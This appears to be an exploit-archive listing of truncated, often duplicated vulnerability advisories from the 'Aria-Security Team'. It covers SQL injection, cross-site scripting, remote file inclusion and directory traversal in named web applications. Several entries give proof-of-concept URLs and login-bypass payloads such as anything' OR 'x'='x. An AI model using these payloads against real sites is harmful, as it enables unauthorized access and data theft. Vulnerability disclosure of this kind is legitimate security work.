phplive-rfi.txt

Aria-Security Team http://Aria-Security.Net Persian Security Network Source Code: Affected file: Index.php Poc: /index.php?DOCUMENT...

wba-sql.txt

http://Aria-Security.Net ------------------------------------ Web based alpha tabbed address book SQL Injection codewidgets.com Poc index.asp?alpha='SQL INJECTION Credits Goes To Aria-Security Team Regards, The-0utl4w...

Aria-Security.Net [Web based alpha tabbed address book SQL Injection]

http://Aria-Security.Net ------------------------------------ Web based alpha tabbed address book SQL Injection codewidgets.com Poc index.asp?alpha='SQL INJECTION Credits Goes To Aria-Security Team Regards, The-0utl4w...

OSI CODES - PHP Live! Remote File Inclusion

Aria-Security Team http://Aria-Security.Net Persian Security Network Source Code: ? / COPYRIGHT OSI CODES - PHP Live! / sessionstart ; $l = "" ; // try to get cookie value first if isset $HTTPCOOKIEVARS'COOKIEPHPLIVESITE' $l = $HTTPCOOKIEVARS'COOKIEPHPLIVESITE' ; if isset $HTTPGETVARS'l' $l =...

searchsimon-xss.txt

Aria-Security Team http://Aria-Security.net/ ------------------------------------------------- SearchSimon Lite Cross-Site Scripting The file Name may be different in different websites PoC filename.asp?QUERY=XSS&Submit=Search%21&ACTION=SEARCH Credits Goes To Aria-Security Team Aria-Security.Net...

dmcms-sql.txt

Aria-Security Team DMcms Sql Injection http://target.ltd/PATH/index.php?page=media&id=SQL INJECTION CODE GOES HERE Other files may have this vuln. also. Credits goes to Aria-Security Team http://Aria-Security.net The-0utl4w...

[Aria-Security.Net] dmcms.0.7.0 SQL Injection

Aria-Security Team DMcms Sql Injection http://target.ltd/PATH/index.php?page=media&id=SQL INJECTION CODE GOES HERE Other files may have this vuln. also. Credits goes to Aria-Security Team http://Aria-Security.net The-0utl4w...

acart-sqlxss.txt

A R I A - S E C U R I T Y A-Cart SQL Injection And Cross-Site Scripting http://alanward.net Cross Site Scripting: http://localhost/path/error.asp?msg=XSS SQL Injection: http://localhost/path/product.asp?productid=' SQL COMMAND Table Names are: categories customers orderitems orders products users...

A-Cart SQL Injection And Cross-Site Scripting

A R I A - S E C U R I T Y A-Cart SQL Injection And Cross-Site Scripting http://alanward.net Cross Site Scripting: http://localhost/path/error.asp?msg=XSS SQL Injection: http://localhost/path/product.asp?productid=' SQL COMMAND Table Names are: categories customers orderitems orders products users...

[Aria-Security.Net] SearchSimon Lite Cross-Site Scripting Vuln.

Aria-Security Team http://Aria-Security.net/ ------------------------------------------------- SearchSimon Lite Cross-Site Scripting The file Name may be different in different websites PoC filename.asp?QUERY=XSS&Submit=Search21&ACTION=SEARCH Credits Goes To Aria-Security Team Aria-Security.Net...

Viart Shopping Cart Directory Transversal Vuln

Aria-Security Team ---------------------- Viart Shopping Cart Directory Transversal Vuln Vendor: http://www.viart.com/ POC: function createCertFingerprint$filename $fp = fopen$filename, "r"; http://target/path/payments/idealprocess.php Credits Goes To Aria-Security Team Thanks To Aura Regards,...

[Aria-Security] Stuffed Tracker Multiple Cross-Site Scripting VULN

Aria-Security Team ---------------------- Viart Shopping Cart Directory Transversal Vuln Vendor: http://www.viart.com/ POC: function createCertFingerprint$filename $fp = fopen$filename, "r"; http://target/path/payments/idealprocess.php Credits Goes To Aria-Security Team Thanks To Aura Regards,...

stuffed-xss.txt

Aria-Security Team ---------------------- Vendor: http://stuffedguys.com/ POC: http://target/path/admin/campaignlink.html?GenCode=1&CampId=1&SplitId=&GLink=XSS http://target/PATH/actions.html?CpId=1&SiteId=1&Mode=new&EditId=XSS Credits Goes To Aria-Security Team Regards, The-0utl4w...

[Aria-Security Team] social-networkin SQL Injection

A R I A - S E C U R I T Y http://www.social-networking.tv/ Demo: http://www.social-networking.tv/musicians/ http://mytarget/profile/myprofile.php?u=SQL We will just provide an example to show the result when an SQL command is given...

socialnet-sql.txt

A R I A - S E C U R I T Y http://www.social-networking.tv/ Demo: http://www.social-networking.tv/musicians/ http://mytarget/profile/myprofile.php?u=SQL We will just provide an example to show the result when an SQL command is given...

sashotel-sql.txt

A R I A - S E CU R I T Y SAS Hotel Management System SQL Injection http://www.sellatsite.com/sellatsite/hotel.asp Explanation: http://path/admin/admin.asp Username: anything' OR 'x'='x password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

[Aria-Security.net] SAS Hotel Management System SQL Injection

A R I A - S E CU R I T Y SAS Hotel Management System SQL Injection http://www.sellatsite.com/sellatsite/hotel.asp Explanation: http://path/admin/admin.asp Username: anything' OR 'x'='x password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

giab-sql.txt

A R I A - S E C U R I T Y Gallery In A Box Username & Password Parameters SQL Injection Vendor: http://www.kerberosdev.net/ http://target.com/adminconsole/index.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

ariadnecms-rfi.txt

A R I A - S E C U R I T Y Ariadne CMS Remote File Inclusion Vendor: http://www.ariadne-cms.org/ Source Code: function LoadingDone parent.LoadingDone; PoC: http://site.com/path/view.php?ariadne=SHELL? Credits: Aria-Security Team http://Aria-Security.net http://outlaw.aria-security.info...

nextgen-sql.txt

Aria-Security Team Next Gen Portfolio Manager SQL Injection http://www.weaveyourwebdreams.com/ http://example.com/path/default.asp?ExecuteTheLogin=1&UsersEmail=anything%27+OR+%27x%27%3D%27x&UsersPassword=anything%27+OR+%27x%27%3D%27x Credits: Aria-Security Team http://aria-security.net/forum...